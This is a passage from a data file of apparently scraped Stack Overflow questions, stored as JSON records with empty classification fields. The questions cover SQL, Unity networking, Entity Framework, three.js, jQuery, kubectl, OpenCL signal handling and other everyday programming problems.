}\n}\n</code></pre>\n"},{"Classification":"","Title":"How to insert a non sequential Id from a table in an insert into clause","Body":"<p>I need to insert an ID of table 1 in table2. The problem is the fact that the sequential rows in table 1 do not have a sequential Id. (someone have erased some rows, hence no sequential Ids for the sequential rows)</p>\n\n<p>Doing a <code>select * from table 1</code> results in:</p>\n\n<p>Table 1</p>\n\n<pre><code>Id Value1\n------------\n2 X\n4 Y\n10 Z\n12 XYZ\n14 ZD\n121 XD\n122 ZS\n------------\n</code></pre>\n\n<p>The desired result of table 2 is:</p>\n\n<pre><code> Id Value1 Value2 Date\n -----------------------------------\n 1 67 2 2018-05-15\n 2 67 4 2018-05-15\n 3 67 10 2018-05-15\n 4 67 12 2018-05-15\n 5 67 14 2018-05-15\n 6 67 121 2018-05-15\n 7 67 122 2018-05-15\n ------------------------------------\n</code></pre>\n\n<p>The code to insert values in table 2. I only need table 1 to copy the right Id. </p>\n\n<pre><code>declare @value int\nset @value=(select count(*) from table1) \nwhile @value&gt;0\n\n begin\n insert into (table2)\n values ('67',@HOW_TO_RETRIEVE THE CORRECT ID from TABLE 1?,getdate())\n set @value=@value-1\n\n end\n</code></pre>\n\n<p>of course with @value it will not work, I have tried to use the select clause inside values but to no avail. Thanks. </p>\n"},{"Classification":"","Title":"Networking player bug UNITY","Body":"<p><strong>Hello i have a spawning problem when i start google service RealTime both player are lagging and one player is bugged into ground collider. Here is Animation:</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/Tazqf.gif\" rel=\"nofollow noreferrer\">Animation</a></p>\n\n<p>Here is my sending script from client:</p>\n\n<pre><code>void Update()\n{\n\n if (player == PlayerOne) { \n string PlayerOneData = \"PlayerOne\" + \":\" + player.transform.position.x + \":\" + player.transform.position.y;\n byte[] PlayerOneDataArr = System.Text.ASCIIEncoding.Default.GetBytes(PlayerOneData);\n PlayGamesPlatform.Instance.RealTime.SendMessageToAll(false, PlayerOneDataArr);\n // Camera.main.GetComponent&lt;CameraFollow&gt;().setTarget(PlayerOne.transform);\n textik.text = \"PlayerOne upload \" + PlayerOneData;\n if (Input.touchCount &gt; 0 &amp;&amp; Input.GetTouch(0).phase == TouchPhase.Stationary)\n {\n Vector2 touchPosition = Input.GetTouch(0).position;\n double halfScreen = Screen.width / 2.0;\n if (touchPosition.x &lt; halfScreen)\n {\n player.transform.Translate(Vector3.left * 10 * Time.deltaTime);\n }\n else if (touchPosition.x &gt; halfScreen)\n {\n player.transform.Translate(Vector3.right * 10 * Time.deltaTime);\n }\n\n }\n }\n else if (player == PlayerTwo)\n {\n string PlayerTwoData = \"PlayerTwo\" + \":\" + player.transform.position.x + \":\" + player.transform.position.y;\n byte[] PlayerTwoDataArr = System.Text.ASCIIEncoding.Default.GetBytes(PlayerTwoData);\n PlayGamesPlatform.Instance.RealTime.SendMessageToAll(false, PlayerTwoDataArr);\n //Camera.main.GetComponent&lt;CameraFollow&gt;().setTarget(PlayerTwo.transform);\n textik.text = \"PlayerTwo upload\" + PlayerTwoData;\n if (Input.touchCount &gt; 0 &amp;&amp; Input.GetTouch(0).phase == TouchPhase.Stationary)\n {\n Vector2 touchPosition = Input.GetTouch(0).position;\n double halfScreen = Screen.width / 2.0;\n\n //Check if it is left or right?\n if (touchPosition.x &lt; halfScreen)\n {\n player.transform.Translate(Vector3.left * 10 * Time.deltaTime);\n }\n else if (touchPosition.x &gt; halfScreen)\n {\n player.transform.Translate(Vector3.right * 10 * Time.deltaTime);\n }\n\n }\n }\n}\n</code></pre>\n\n<p>And this is my receive function:</p>\n\n<pre><code>public void OnRealTimeMessageReceived(bool IsReliable, string SenderId, byte[] data)\n{\n\n string position = System.Text.Encoding.Default.GetString(data);\n string[] raw = position.Split(new string[] { \":\" }, System.StringSplitOptions.RemoveEmptyEntries);\n if (!IsReliable)\n {\n if (raw[0] == \"PlayerOne\")\n {\n PlayerOne.transform.position = new Vector2(System.Convert.ToSingle(raw[1]), System.Convert.ToSingle(raw[2]));\n textik2.text = \"PlayerOne PRIJAL \" + position;\n }\n if (raw[0] == \"PlayerTwo\")\n {\n PlayerTwo.transform.position=new Vector2(System.Convert.ToSingle(raw[1]), System.Convert.ToSingle(raw[2]));\n textik2.text = \"PlayerTWO prijal \" + position;\n }\n }\n}\n</code></pre>\n\n<p>My prefab are seetup as :</p>\n\n<p><a href=\"https://i.stack.imgur.com/OjPxC.png\" rel=\"nofollow noreferrer\">Prefab Screen</a></p>\n\n<p>Thanks for any Ideas or any help</p>\n"},{"Classification":"","Title":"Outlook Add-In API does not fire the ItemChange event consistently on Firefox/Chrome","Body":"<p>We have enabled task pane pinning in our manifest for an Outlook add-in and noticed that the pinning support is now available in the Outlook Office online in addition to the Windows Outlook 2016 client. </p>\n\n<p>However, the <a href=\"https://dev.office.com/reference/add-ins/outlook/1.5/Office#EventType\" rel=\"nofollow noreferrer\"><code>ItemChange</code></a> event does not seem to be triggered consistently when switching mail items (I am unable to discern any rhyme or reason on when it gets fired). </p>\n\n<p>We are listening for this event using the <a href=\"https://dev.office.com/reference/add-ins/outlook/1.5/Office.context.mailbox\" rel=\"nofollow noreferrer\"><code>addHandlerAsync</code> method</a>. Is this a bug?</p>\n"},{"Classification":"","Title":"Mapping data in Textarea defualtValue","Body":"<p>I'm just trying to map the data into <code>defaultValue</code> of <code>textarea</code> everything works fine but when I'm trying to make a line break using <code>\\r</code> it works as supposed but </p>\n\n<p><strong>Why i'm getting an comma before each line?</strong></p>\n\n<pre><code>&lt;textarea defaultValue={ this.state.data.map(data =&gt; data.name+'\\r') } /&gt;\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/nZJVY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nZJVY.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"Unable to delete and insert M-M relational data using Entity Framework","Body":"<p>I have M-M relational data structure as follows. But, I cannot able to delete and insert the record. I have googled and use the samples from <a href=\"https://practiceaspnet.wordpress.com/tag/crud-in-many-to-many-relationships/\" rel=\"nofollow noreferrer\">Link1</a> and <a href=\"http://www.entityframeworktutorial.net/EntityFramework4.3/update-many-to-many-entity-using-dbcontext.aspx\" rel=\"nofollow noreferrer\">Link2</a></p>\n\n<p><strong>Company:</strong></p>\n\n<pre><code>[Serializable]\npublic class Company : Base.BaseEntity\n{\n public long CompanyId { get; set; }\n public string CompanyName { get; set; }\n public string TimeZone { get; set; }\n public string Address { get; set; }\n public long? CityId { get; set; }\n public long? StateId { get; set; }\n public int Zip { get; set; }\n public string Telephone { get; set; }\n public string Fax { get; set; }\n public string EmailAddress { get; set; }\n public string FederalEin { get; set; }\n public string WebPage { get; set; }\n public string StateEmployerNumber { get; set; }\n public long? AdministratorId { get; set; }\n public string OfflineAdlLockoutTime { get; set; }\n public bool? IsAllowWindowsAuthentication { get; set; }\n public virtual ICollection&lt;CommunityType&gt; CommunityTypeList { get; set; }\n}\n</code></pre>\n\n<p><strong>Community Type:</strong></p>\n\n<pre><code>[Serializable]\npublic class CommunityType : Base.BaseEntity \n{\n public long CommunityTypeId { get; set; }\n public string CommunityTypeName { get; set; }\n public string Description { get; set; }\n public virtual ICollection&lt;Company&gt; CompanyList { get; set; }\n}\n</code></pre>\n\n<p>And, I have a repo method as</p>\n\n<p><strong>CompanyRepository</strong></p>\n\n<pre><code>public void Persist(Company entity)\n{\n using (var dbContext = ServiceLocator.Current.GetInstance&lt;IDbContext&gt;())\n {\n // Here I am going to save the company information (may be edited some properties).\n dbContext.Persist(entity, entity.CompanyId);\n dbContext.SaveChanges(entity.CompanyId);\n\n // Here I am trying to delete the existing community types and insert a new community types.\n var existingCompany = dbContext.Table&lt;Company&gt;().Include(i =&gt; i.CommunityTypeList).AsNoTracking().Where(s =&gt; s.CompanyId == entity.CompanyId).FirstOrDefault();\n var deletedCommunityTypes = existingCompany.CommunityTypeList.Except(entity.CommunityTypeList, x =&gt; x.CommunityTypeId).ToList();\n var addedCommunityTypes = entity.CommunityTypeList.Except(existingCompany.CommunityTypeList, x =&gt; x.CommunityTypeId).ToList();\n deletedCommunityTypes.ForEach(c =&gt; existingCompany.CommunityTypeList.Remove(c));\n\n foreach (var c in addedCommunityTypes)\n {\n existingCompany.CommunityTypeList.Add(c);\n }\n\n dbContext.Persist(existingCompany, existingCompany.CompanyId);\n dbContext.SaveChanges(existingCompany.CompanyId);\n }\n}\n</code></pre>\n\n<p>And my DB Context method as</p>\n\n<pre><code>public void Persist&lt;TEntity&gt;(TEntity entity, long id, bool isHardDelete = false) where TEntity : BaseEntity\n{\n try\n {\n if (!isHardDelete)\n {\n var item = entity as BaseEntity;\n if (id &lt;= 0)\n {\n Entry(entity).State = EntityState.Added;\n Set&lt;TEntity&gt;().Add(entity);\n }\n else\n {\n Set&lt;TEntity&gt;().Attach(entity); // I have an error here\n Entry(entity).State = EntityState.Modified;\n }\n }\n else\n {\n Entry(entity).State = EntityState.Deleted;\n Set&lt;TEntity&gt;().Attach(entity);\n }\n }\n catch (DbEntityValidationException dbEx)\n {\n throw new Exception(GetFullErrorText(dbEx), dbEx);\n }\n}\n\npublic int SaveChanges(long id = 0)\n{\n try\n {\n ChangeTracker.Entries().ForEach(entity =&gt;\n {\n var baseDto = entity.Entity as BaseEntity;\n if (baseDto == null) return;\n if (id &lt;= 0)\n {\n baseDto.CreatedOn = baseDto.UpdatedOn = DateTime.Now;\n baseDto.CreatedBy = baseDto.UpdatedBy = 1;\n }\n else\n {\n baseDto.UpdatedBy = 1;\n baseDto.UpdatedOn = DateTime.Now;\n }\n });\n return base.SaveChanges();\n }\n catch (DbEntityValidationException dbEx)\n {\n throw new Exception(GetFullErrorText(dbEx), dbEx);\n }\n}\n</code></pre>\n\n<p>I have a below error when attach the entity. </p>\n\n<blockquote>\n <p>Attaching an entity of type 'RDS.Models.Entities.Masters.Company'\n failed because another entity of the same type already has the same\n primary key value. This can happen when using the 'Attach' method or\n setting the state of an entity to 'Unchanged' or 'Modified' if any\n entities in the graph have conflicting key values. This may be because\n some entities are new and have not yet received database-generated key\n values. In this case use the 'Add' method or the 'Added' entity state\n to track the graph and then set the state of non-new entities to\n 'Unchanged' or 'Modified' as appropriate.</p>\n</blockquote>\n"},{"Classification":"","Title":"How do I make the first line of text indent without it throwing everything else off?","Body":"<p>I would like to indent the text as I have done with the second heading <code>WORK EXPERIENCE</code> but if I apply this class to the first line 'EDUCATION' it throws out all my columns, how can I avoid this?</p>\n\n<p>code: </p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\n<div class=\"snippet-code\">\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.indent {\n text-indent: 70px;\n word-break: break-word;\n}</code></pre>\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div class=\"column\"&gt;\n &lt;p&gt;EDUCATION&lt;br&gt; 2014-18 Massey University Wellington, New Zealand. Bachelor of Design, Honours First Class. Visual Communication Design.&lt;br&gt;&lt;/p&gt;\n &lt;div class=\"indent\"&gt;\n &lt;p&gt;WORK EXPERIENCE&lt;br&gt;\n &lt;/div&gt;</code></pre>\n</div>\n</div>\n</p>\n"},{"Classification":"","Title":"any way how to define msb:lsb range as parameter?","Body":"<p>having tons of registers defined in my hardware, containing bit fields, I wanted to 'name' those registers and access in SystemVerilog the bit fields using their names instead of msb:lsb format. So, I made a new package, and declared constant parameters inside, and as well tried those which describe range. Something like this:</p>\n\n<pre><code>package VmeAddressMap;\n parameter SYS_INTCONFIG = 32'h00000044;\n parameter RSYS_INTCONFIGRORA = 31:16;\n parameter RSYS_INTCONFIGENABLE = 15:0;\nendpackage // VmeAddressMap\n</code></pre>\n\n<p>quite evidently, this does not work. So I came with a 'hybrid' solution, i.e. simple constants stay in package, and for ranges I made another file, which contains macros:</p>\n\n<p>package file:</p>\n\n<pre><code>package VmeAddressMap;\n parameter SYS_INTCONFIG = 32'h00000044;\nendpackage // VmeAddressMap\n</code></pre>\n\n<p>macro file:</p>\n\n<pre><code>`define RSYS_INTCONFIGRORA 31:16\n`define RSYS_INTCONFIGENABLE 15:0\n</code></pre>\n\n<p>this solution permits me to do things as follow (Read is a task reading data through VME bus):</p>\n\n<pre><code>Read(SYS_INTCONFIG);\n`CHECK_EQUAL(LastVmeReadData_b32[`RSYS_INTCONFIGRORA], 15,\n \"IRQ setup invalid\");\n</code></pre>\n\n<p>This works, and does what I want. However I don't like it. In particular mixing macros with SystemVerilog style of description.</p>\n\n<p>Is there a way how to accomplish the same task directly in the package?</p>\n"},{"Classification":"","Title":"How to download the screenshot automatically by using html2Canvas","Body":"<p>I have a canvas which shows a graph and I'm trying to take a screenshot of the canvas using html2canvas() with the code below :</p>\n\n<pre><code>&lt;div class=\"chartContainer\" id=\"chart1\"&gt;&lt;/div&gt;\n&lt;div id=\"displayCanvas\" style=\"display:none;\" class=\"stx-dialog\"&gt;&lt;/div&gt;\n\nhtml2canvas($('#chart1'),{onrendered:function(canvas1) \n{$('#displayCanvas').append(canvas1)}});\n</code></pre>\n\n<p>Here when the chart container is loaded the it uses the div with the id \"displayCanvas\" and appends the screenshot of the canvas.</p>\n\n<p><strong>How can I download the screenshot of the canvas which is displayed?</strong> \nI have already tried using something like below to download the image: </p>\n\n<pre><code>var link = document.createElement('a');\nlink.download = stx.chart.symbol+\".png\";\nlink.href = stx.chart.canvas.toDataURL(\"png\");\nlink.click();\n</code></pre>\n\n<p>but it only downloads the data on the canvas as an image without the background (it does not download the screenshot but only the data) which when opened after downloading shows a black screen with data in it. Can anyone help me on how to download the image directly of the screenshot taken from the html2Canvas()?</p>\n"},{"Classification":"","Title":"Why Google Play Services Versions are different?","Body":"<p>I need to know <strong>Google Play Services Version</strong> on some devices.</p>\n\n<p>After googling and searching stackoverflow, I found following two ways and tried these.</p>\n\n<p>A. use PackageInfo</p>\n\n<pre><code>getPackageManager()\n .getPackageInfo(GoogleApiAvailability.GOOGLE_PLAY_SERVICES_PACKAGE, 0 )\n .versionCode;\n</code></pre>\n\n<p>B. use GoogleApiAvailability directly.</p>\n\n<pre><code>GoogleApiAvailability.GOOGLE_PLAY_SERVICES_VERSION_CODE;\n</code></pre>\n\n<p>I got results but results are different value.</p>\n\n<p>result:</p>\n\n<pre><code>A: 12673023\nB: 11717000\n</code></pre>\n\n<p>On the device, Settings -> Apps &amp; Notification -> Google Play Services, version \n shows 12.6.73.</p>\n\n<p>It seems <strong>A</strong> is correct.</p>\n\n<p>On the other hand, <strong>B</strong> is simple and latest way.</p>\n\n<p>Why is this two are different? which one is correct value? Everyone knows?</p>\n"},{"Classification":"","Title":"IBM_DB installation error","Body":"<p>I'm trying to install ibm_db in my python 3.5.2 in Anaconda 4.2 under Windows 7. I used following command <code>pip install \"ibm-db==2.0.8a\"</code> But I got installation error given in screen shot. Please suggest how to install ibm_db</p>\n\n<p><a href=\"https://i.stack.imgur.com/ONE7y.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ONE7y.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"Oracle Apex &APEX$NEW_START_DATE incorrect output","Body":"<p>How can I get the selected date from Oracle Apex Calendar without having backslashes?</p>\n\n<p>I tried lots of methods:</p>\n\n<pre><code>f?p=&amp;APP_ID.:9:&amp;SESSION.::NO:RP:P9_START:&amp;APEX$NEW_START_DATE.\n\nf?p=&amp;APP_ID.:9:&amp;SESSION.::NO:RP:P9_START:&amp;APEX$NEW_START_DATE.\\\n\nf?p=&amp;APP_ID.:9:&amp;SESSION.::NO:RP:P9_START:\\&amp;APEX$NEW_START_DATE.\\\n</code></pre>\n\n<p>This is resulting in:</p>\n\n<pre><code>apex.navigation.dialog.close(true,'f?p=22338:9:15770407909956::NO:RP:P9_START:\\02-05-2018\\');\n</code></pre>\n\n<p>If I double the last backslash, it works but still the output is incorrect. Ex.: 8th of May 2018:'�8-05-2018\\'. </p>\n\n<p>I really need help. I searched all resources available and I can't find anything.</p>\n"},{"Classification":"","Title":"three.js - Lines not rendered in 3D","Body":"<p>I am trying to make a 3d figure of connected dots on Threejs (Plexus style), but for some reason the lines are \"flat\" (rendered on a flat surface rather than in a 3d space).</p>\n\n<p>Here is the code:</p>\n\n<pre><code> // Variables\n var showred = false;\n var nx = 0;\n var ny = 0;\n var radius = 20;\n var randomcounter = 0;\n var rotSpeed = 2.0;\n\n // set up the scene\n var scene = new THREE.Scene();\n\n // set up the threejscamera to see the actual scene\n var threejscamera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 100000);\n scene.add(threejscamera);\n threejscamera.position.x = -4000 + Math.random() * 2000;\n threejscamera.position.y = 1000;\n\n var cameracontrols = new THREE.OrbitControls(threejscamera);\n cameracontrols.autoRotate = true;\n cameracontrols.update();\n\n // set up the renderer\n var renderer = new THREE.WebGLRenderer();\n window.onload = function() {\n renderer.setSize(window.innerWidth, window.innerHeight);\n renderer.setClearColor(0x000000, 0);\n document.body.appendChild(renderer.domElement);\n }\n\n // make the canvas adaptable to the window screen\n window.addEventListener('resize', function() {\n var width = window.innerWidth;\n var height = window.innerHeight;\n renderer.setSize(width, height);\n threejscamera.aspect = width / height;\n threejscamera.updateProjectionMatrix();\n });\n\n // create the particle variable\n var particlesCount = 150;\n var particles = new THREE.Geometry();\n var particlesMaterial = new THREE.PointsMaterial({\n color: 0xffffff,\n transparent: true,\n opacity: 1.0,\n sizeAttenuation: false,\n size: 2\n });\n\n for (var i = 0; i &lt; particlesCount; i++) {\n\n var px, py, pz;\n\n var lat = (i / particlesCount) * Math.PI;\n\n for (var j = 0; j &lt; particlesCount; j++) {\n var lon = (j / particlesCount) * (Math.PI * 2);\n\n var index = i * j + i;\n\n var particle = particles.vertices[index];\n\n var v = radius;\n\n px = v * Math.sin(lat) * Math.cos(lon);\n py = v * Math.sin(lat) * Math.sin(lon);\n pz = v * Math.cos(lat);\n\n // add the particle to the array\n var particle = new THREE.Vector3(px, py, pz);\n particles.vertices.push(particle);\n }\n }\n\n// Add the line geometry to the code, connected to the particle system\n var lines = new THREE.Geometry();\n var lol = 0;\n for (var i = 0; i &lt; particlesCount; i++) {\n var a = particles.vertices[i];\n for (var j = 0; j &lt; particlesCount; j++) {\n var b = particles.vertices[j];\n lines.vertices.push(a);\n lines.vertices.push(b);\n }\n }\n var line = new THREE.Line(lines, new THREE.LineBasicMaterial({\n color: 0x00FFFF,\n opacity: 0.1,\n transparent: true\n }));\n scene.add(line);\n\n // Create a new particle system with the particles and the material\n var ParticleSystem = new THREE.Points(particles, particlesMaterial);\n\n // Add the particle system to the scene\n scene.add(ParticleSystem);\n\n // Lights\n var light = new THREE.PointLight(0x555555, 1, 10000, 2);\n scene.add(light);\n light.position.set(0, 1000, 0);\n\n // red light, connected to the red particle system\n var redlight = new THREE.PointLight(0xDE0000, .5, 20000, 2);\n scene.add(redlight);\n redlight.position.set(0, 1300, 0);\n\n // update function\n const updateThreejs = function() {\n\n for (var i = 0; i &lt; particlesCount; i++) {\n // latitude for the spherical coordinate system\n var lat = i / particlesCount * Math.PI;\n\n for (var j = 0; j &lt; particlesCount; j++) {\n // longitude for the spherical coordinate system\n var lon = j / particlesCount * Math.PI;\n\n // Get the index of this particle\n var index = i + j * particlesCount;\n\n // get a copy of the particles\n var particle = particles.vertices[index];\n\n // get the new values\n var v = radius;\n\n // Spherical coordinates\n var sinlat = Math.sin(lat);\n var coslat = Math.cos(lat);\n var coslon = Math.cos(lon);\n var sinlon = Math.sin(lon);\n\n particle.x = v * sinlat * coslon;\n particle.y = v * sinlat * sinlon;\n particle.z = v * coslat;\n }\n }\n\n // flag to the particle system and the lines geometry\n // that we've changed its vertices.\n particles.verticesNeedUpdate = true;\n lines.verticesNeedUpdate = true;\n lines.__dirtyvertices = true;\n\n cameracontrols.update();\n };\n\n // render function\n var render = function() {\n // let's render the actual scene, first parameter is the scene, second the threejscamera\n renderer.render(scene, threejscamera);\n };\n\n // Game Loop function (update, render, repeat)\n var drawThreejs = function() {\n\n requestAnimationFrame(drawThreejs);\n\n // update and render\n updateThreejs();\n render();\n };\n\n drawThreejs();\n</code></pre>\n\n<p>And here is the result:</p>\n\n<p><a href=\"https://i.stack.imgur.com/izBxW.png\" rel=\"nofollow noreferrer\">result of this code</a></p>\n\n<p>The lines are rendered on a 2d surface in a 3d world, but they are not 3d (all the dots should be connected each other).</p>\n\n<p><a href=\"https://codepen.io/kesson/pen/ZoMQMV\" rel=\"nofollow noreferrer\">Here is the codepen for the code</a></p>\n\n<p>Thanks!</p>\n\n<p>EDIT: \nThe end result should be something similar to this, with points connected each other if they are at a certain distance when the sketch starts (don't care about the shape but about how it is rendered, while my sketch renders line only on a 2d flat surface).</p>\n\n<p><a href=\"https://i.stack.imgur.com/4XAki.png\" rel=\"nofollow noreferrer\">image 1</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/9q2Dv.jpg\" rel=\"nofollow noreferrer\">image 2</a></p>\n"},{"Classification":"","Title":"Magento attributes won't save - buttons disabled","Body":"<p>I've suddenly started having an odd problem, not something I've seen in Magento before.\nI'm trying to add a new attribute called 'Brand', which will contain a list of Manufacturers for the client to select one from when creating a new product.\nThe problem is, as soon as I start to add the attribute values, e.g. Sony, Panasonic, Philips etc., and click the 'Save' or 'Save and continue' button, the two buttons are greyed out. Neither the attribute or its values get saved.</p>\n\n<p>This has only just started to happen - it worked fine last week.</p>\n\n<p>The version of Magento is 1.6.2</p>\n\n<p>Does anyone know of a solution to this?</p>\n\n<p>Thanks!</p>\n"},{"Classification":"","Title":"MS Access Combobox row item is not being selected when I click on it","Body":"<p>I've been searching for an answer for 2 days now, here and elsewhere, this is driving me nuts (again). I have a simple combo box on a simple form. The drop down populates with the expected list when I click on it, but nothing fires when I click on a row item itself, nothing updates. </p>\n\n<p>Say I have Apples, Oranges, Berry -- I click on Oranges and nothing happens, nothing changes. </p>\n\n<ul>\n<li>Control Source = \"=[tblDivisions]![Division]\"</li>\n<li>Row Source = \"tblDivisions\"</li>\n<li>Row Source Type = Table/query</li>\n<li>Locked = No</li>\n</ul>\n\n<p>I have tried using <code>Me.DivisionDDL.Requery</code> without luck and things like cascaded drop-downs.</p>\n\n<p>None of these worked either:</p>\n\n<ul>\n<li>Private Sub DivisionDDL_Click()</li>\n<li>Private Sub DivisionDDL_OnClick()</li>\n<li>Private Sub DivisionDDL_AfterUpdate() </li>\n<li>and others</li>\n</ul>\n\n<p>How can I get this to work?</p>\n\n<pre><code> Option Compare Database\n\nPrivate Sub Form2_Load()\n\nMe.DivisionDDL.RowSource = \"Select bc_subs.Division FROM _bc_subs\"\n\nMe.DivisionDDL = Me.DivisionDDL.ItemData(0)\n'DivisionDDL_AfterUpdate\n\nEnd Sub\n\nPrivate Sub DivisionDDL_Click()\nMe.DivisionDDL.Requery\nMsgBox DivisionDDL.List(DivisionDDL.ListIndex)\nEnd Sub\n</code></pre>\n"},{"Classification":"","Title":"Linking 1 VSTS instance to multiple Azure Subscriptions","Body":"<p>I have <strong>1 VSTS</strong> instance, which is currently linked to <strong>1 Azure Subscription</strong>. Now we have two Azure subscriptions:</p>\n\n<ol>\n<li>One for Production applications. </li>\n<li>One for Sandbox applications, where we develop applications.</li>\n</ol>\n\n<p>Now I want to setup a <strong>develop</strong> CI build that links to our Sandbox and another <strong>master</strong> build for production releases to our Production subscriptions.</p>\n\n<p>So I have two subscriptions linked to my Azure AD account:</p>\n\n<p><a href=\"https://i.stack.imgur.com/PnWN3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/PnWN3.png\" alt=\"My Subscriptions\"></a></p>\n\n<p>When I look in my <strong>Team Services accounts</strong> in Azure its only linked to the Production account:</p>\n\n<p><a href=\"https://i.stack.imgur.com/aj5rc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aj5rc.png\" alt=\"TS Area\"></a></p>\n\n<p>Can I link one VSTS instance to multiple Azure subscriptions that my account is linked to? These subscriptions are linked to one Azure AD account.</p>\n"},{"Classification":"","Title":"jQuery check whether onload or onhashchange","Body":"<p>so, I am trying to call a function when the page gets loaded but this function should reload when there is a hashchange.</p>\n\n<p>Right now, I am doing it like this:</p>\n\n<pre><code>var HabJax = HabJax || function() {\n \"use strict\";\n\n if(window.location.hash) {\n HabJax.handle_ajax();\n }\n\n window.addEventListener(\"hashchange\", function(){\n HabJax.handle_ajax();\n }, false);\n\n return this;\n};\n\nwindow.onload = function(){\n this.HabJax = new HabJax();\n}\n\nHabJax.prototype = {\n\n page: null,\n self: this,\n hotelBase: 'http://localhost/Ajax/',\n\n handle_ajax: function()\n {\n var query_string = window.location.hash;\n query_string = query_string.substr(1);\n query_string = query_string.substr(1);\n\n if(query_string != 'index' &amp;&amp; query_string != '0' &amp;&amp; query_string != '' &amp;&amp; query_string != null) {\n $.ajax({\n type: \"POST\",\n url: this.hotelBase + query_string,\n success: function(data) {\n $(\"#contentInner\").slideUp('fast', function() {\n $(\"#content\").html(data);\n $(\"#contentInner\").slideDown('slow');\n });\n\n HabJax.initialize();\n }\n });\n } else {\n window.location.hash = '!1';\n }\n },\n\n initialize: function()\n {\n console.log('HabJax: Initialized (Page: ' + this.getPage() + ')');\n\n this.page = this.getPage();\n this.executePageFunctionalities(this.page);\n\n window.onhashchange = function() {\n HabJax.page = HabJax.getPage();\n HabJax.executePageFunctionalities(HabJax.page);\n }\n\n return true;\n },\n\n getPage: function()\n {\n var page = location.href,\n pageName,\n action;\n\n if (page.indexOf('&amp;') != -1)\n {\n pageName = page.substring(page.lastIndexOf('/') + 1, page.indexOf('&amp;'));\n }\n else if(page.indexOf('#') != -1)\n {\n pageName = page.substring(page.lastIndexOf('/') + 1, page.indexOf('#'));\n pageName = pageName.substring(0, pageName.length - 1).slice(2);\n }\n else\n {\n pageName = page.substring(page.lastIndexOf('/') + 1);\n }\n\n return (pageName == '' ? '0' : pageName);\n },\n\n executePageFunctionalities: function(page)\n {\n switch (page)\n {\n case null:\n case '0':\n console.log('HabJax Index: Initialized');\n break;\n case '1':\n console.log('HabJax Me: Initialized');\n this.Me.init();\n break;\n case '2':\n console.log('HabJax Test: Initialized');\n break;\n }\n },\n</code></pre>\n\n<p>But the problem here is, that the handle_ajax() function gets called twice onhashchange...</p>\n\n<p>Picture:\n<a href=\"https://i.stack.imgur.com/pHUFu.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pHUFu.png\" alt=\"Screenshot\"></a></p>\n\n<p>How do I solve this?</p>\n\n<p><strong>EDIT</strong> Found the solution, answer is in the comments.</p>\n"},{"Classification":"","Title":"Nearest Neighbors algorithm by attribute importance","Body":"<p>I want to know what solutions are provided within Python libraries or Tensorflow libraries for finding nearest neighbor by attribute importance.\nIn KDTree library attributes are treated equally with same importance.</p>\n\n<pre><code># KDTree \nimport numpy as np \nfrom sklearn.neighbors import KDTree\n\n# Neighbors and Neighbor\nneighbors = np.array([[0, 1, 0, 1],\n [1, 2, 1, 2],\n [2, 1, 1, 1],\n [1, 0, 0, 0],\n [1, 2, 0, 2],\n [2, 2, 2, 2],\n [1, 0, 0, 1]])\n\nneighbor = np.array([[1, 1, 0, 1]])\n\ntree = KDTree(neighbors, leaf_size=2) \ndistance, ind = tree.query(neighbor, k=7)\n</code></pre>\n\n<p>In order to be explicit with what I am looking for I developed following halving interval algorithm to calculate nearest neighbor with decreasing importance of attribute from left to right. First attribute is the most important and last is the least important. \n<a href=\"https://github.com/itsergiu/Nearest-Neighbor-by-Attribute-Importance\" rel=\"nofollow noreferrer\">https://github.com/itsergiu/Nearest-Neighbor-by-Attribute-Importance</a></p>\n"},{"Classification":"","Title":"On click not working for dynamically added link id attribute","Body":"<p>I have a link and on page load I am dynamically adding an \"id\" , the link say logoff. </p>\n\n<p>On clicking logoff link I need to perform an ajax. I was able to add id but on click is not working.</p>\n\n<p>Below is my code:</p>\n\n<pre><code>$(document).ready(function(){\n $('ul#main-navigation li').each(function(index) {\n var text = jQuery.trim($(this).text());\n if (text == \"Log Off\") {\n $(this).children().attr('id',\"log_out_link\");\n }\n });\n});\n$(document.body).on('click', '#log_out_link', function(e){\n e.preventDefault();\n alert(\"edsddd\");\n return false;\n});\n</code></pre>\n\n<p>Any help is appreciated.</p>\n\n<p>ANSWER:</p>\n\n<pre><code>$(document).ready(function(){\n $('ul#main-navigation li').each(function(index) {\n var text = jQuery.trim($(this).text());\n if (text == \"Log Off\") {\n $(this).children().attr('id',\"log_out_link\");\n // onclick staff here\n $('#log_out_link').on('click', function(e){\n e.preventDefault();\n alert(\"edsddd\");\n return false;\n });\n }\n });\n});\n</code></pre>\n"},{"Classification":"","Title":"Signal Handling with OpenCL","Body":"<p>I'm working on an application which requires custom signal handling. This application also makes use of OpenCL. In testing, I noticed some signals were \"being lost\". After some debugging, I discovered that <code>clCreateContext</code> was installing signal handlers for 16 signals, including SIGABRT, SIGUSR1, SIGXCPU and SIGILL. Does anyone know why these signal handlers are required, and if they can be disabled?</p>\n"},{"Classification":"","Title":"Ensure kubectl is running in the correct context","Body":"<p>Consider a simple script:</p>\n\n<pre><code>kubectl create -f foo.yaml\nkubectl expose deployment foo\n</code></pre>\n\n<p>There seems to be a race condition, and no way to guarantee that the context of the second command runs in the same context as the first. (Consider the user going to another shell and invoking <code>kubectl config set-context</code> while the script is running.) How do you resolve that? How can I ensure consistency? </p>\n"},{"Classification":"","Title":"Unable to locate list elements using Nightwatch","Body":"<p>I have some list elements:</p>\n\n<pre><code>&lt; button id={\"productBook\"} className=\"fito-btn fito-btn-long\" style={this.props.styles.btnBrandRevers} onClick={this.props.onOfferSelect.bind(null, product)}&gt;\n &lt; FormattedMessage id='app.Book' defaultMessage='Book' /&gt;\n&lt; 